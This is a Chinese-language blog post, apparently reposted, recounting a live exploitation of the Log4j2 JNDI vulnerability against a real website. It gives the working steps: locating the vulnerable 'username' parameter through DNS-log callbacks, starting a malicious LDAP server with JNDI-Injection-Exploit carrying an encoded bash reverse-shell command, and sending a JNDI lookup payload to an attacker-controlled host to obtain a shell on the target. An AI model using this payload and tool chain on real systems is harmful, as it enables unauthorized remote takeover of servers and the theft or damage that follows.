Log4j2 漏洞實戰案例


在現在以及未來的一段時間里,Log4j2 漏洞依然是滲透和排查的重點。在測試靶場里復現多次,在實戰中遇到還是十分興奮,So,總得記錄點什么吧。


01、漏洞發現

通過burp插件的方式,將Log4j2漏洞檢測能力集成到burp進行被動掃描。在訪問網站抓包的過程中,檢測到目標站點存在Log4j2 RCE漏洞。

 

02、確認漏洞參數

由於使用參數Fuzz,每個數據包里都夾帶多個參數注入Payload,我們需要進一步定位到具體的漏洞參數位置。

(1)登錄ceye.io,可以查看當前的dnslog。

(2)對比burp參數注入的payload和dnslog請求,可初步確認參數username存在Log4j2 RCE漏洞。

 

03、構建ldap服務

通過JNDI注入利用的工具,構建好惡意類地址和ldap服務,為進一步漏洞利用做好准備。

(1)構建payload,將要執行的命令進行base64編碼,可通過Java Runtime 配合 bash 編碼實現。

在線編碼地址:

https://www.jackson-t.ca/runtime-exec-payloads.html

 

(2)用JNDIExploit啟動一個ldap的服務。

命令如下:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "編碼后的bash反彈shell命令" -A “監聽的IP地址”

 

04、獲取目標權限

利用Log4j2漏洞向目標服務器發送構造的payload語句,反彈shell,從而獲取目標服務器權限。

(1)啟動端口監聽

(2)在burp進行構造payload,url編碼后發送請求。

Payload:

?username=${jndi:ldap://xxx.xxx.xxx.xxx:1389/pgc2pp}

 

(3)服務端成功接收到bash反彈的shell。

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM